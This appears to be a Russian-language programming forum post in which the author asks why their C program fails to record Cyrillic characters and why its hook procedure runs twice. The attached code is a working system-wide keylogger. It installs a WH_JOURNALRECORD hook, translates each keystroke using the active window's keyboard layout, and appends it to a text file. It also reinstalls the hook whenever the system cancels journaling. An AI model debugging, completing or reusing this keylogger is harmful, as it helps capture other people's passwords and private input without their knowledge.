Непонятки с хуком JOURNALRECORD

Возникла проблема с отловом русских букв. Если расклада английская, то все записывается, а на русской
раскладке в лог ничего не пишется. Причем, если в функции "HookProc", вызвать MessageBox, то она покажет что русская буква была.Также сразу после вызова MessageBox, почему-то выскакивает еще одна MessageBox. Я так понимаю, что HookProc
вызывается дважды при нажатии на одну клавишу.
Почему это происходит? Судя по всему я что-то не "догоняю". Код прилагается:

Код (Text):

1. #include <stdio.h>
2. #include <windows.h>
3.  
4. void InstallHook (HINSTANCE hInst);
5. LRESULT CALLBACK  HookProc (int nCode, WPARAM wParam, LPARAM lParam);
6.  
7. HANDLE hHook, fHANDLE;
8.  
9. int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
10.   MSG msg;
11.  
12.   fHANDLE=CreateFile ("123.txt", GENERIC_WRITE | GENERIC_READ, 0, 0, OPEN_ALWAYS, FILE_FLAG_WRITE_THROUGH, 0);
13.   InstallHook (hInstance);
14.   while (GetMessage(&msg, 0, 0, 0)) {
15.     if (msg.message==WM_CANCELJOURNAL) InstallHook (hInstance);  
16.     DispatchMessage(&msg);
17.   }
18.   UnhookWindowsHookEx (hHook);
19.   CloseHandle (fHANDLE);
20.   return 0;
21. }
22.  
23. void InstallHook (HINSTANCE hInst) {
24.   hHook=SetWindowsHookEx (WH_JOURNALRECORD, HookProc, hInst, 0);
25.   return;
26. }
27.  
28. LRESULT CALLBACK  HookProc (int nCode, WPARAM wParam, LPARAM lParam) {
29.   EVENTMSG *evm;
30.   DWORD ScanCode, threadID, processID, PARAM;
31.   BYTE VirtCode;
32.   char keystate[256], buf1[2]={"\0\0"};
33.   WORD buf;
34.   int value;
35.   HKL activeHKL;
36.   static int BS_NUM=0, FIRST_WRITE=1;
37.  
38.   if (nCode==HC_ACTION) {
39.     evm=(EVENTMSG*)lParam;
40.     if (evm->message==WM_KEYDOWN) {
41.       PARAM=(evm->paramL);
42.       VirtCode=(evm->paramL & 0xFF);
43.       ScanCode=((PARAM & 0xFF00) >> 8);
44.       GetKeyboardState (keystate);
45.       threadID=GetWindowThreadProcessId (GetForegroundWindow(), &processID);
46.       activeHKL=GetKeyboardLayout (threadID);
47.       value=ToAsciiEx (VirtCode, ScanCode, keystate, &buf, 0, activeHKL);
48.  
49. //buf1[0]=*(char*)&buf;
50. //MessageBox (0, buf1, "Hook", MB_OK);
51.  
52.       if (!(*((char*)&buf)<0x20) || *((char*)&buf)==0x08) {
53.         if (*((char*)&buf)==0x08) BS_NUM++;
54.         else {
55.           if (FIRST_WRITE) {  
56.             SetFilePointer (fHANDLE, 0, 0, FILE_END);
57.             WriteFile (fHANDLE, (char*)&buf, 1, &value, 0);
58.             FIRST_WRITE=0;
59.             goto Loop1;
60.           }
61.           SetFilePointer (fHANDLE, -BS_NUM, 0, FILE_CURRENT);
62.           WriteFile (fHANDLE, (char*)&buf, 1, &value, 0);
63.           BS_NUM=0;
64.         }
65.       }
66.     }
67.   }
68.   Loop1:
69.   CallNextHookEx (hHook, nCode, wParam, lParam);
70.   return 0;
71. }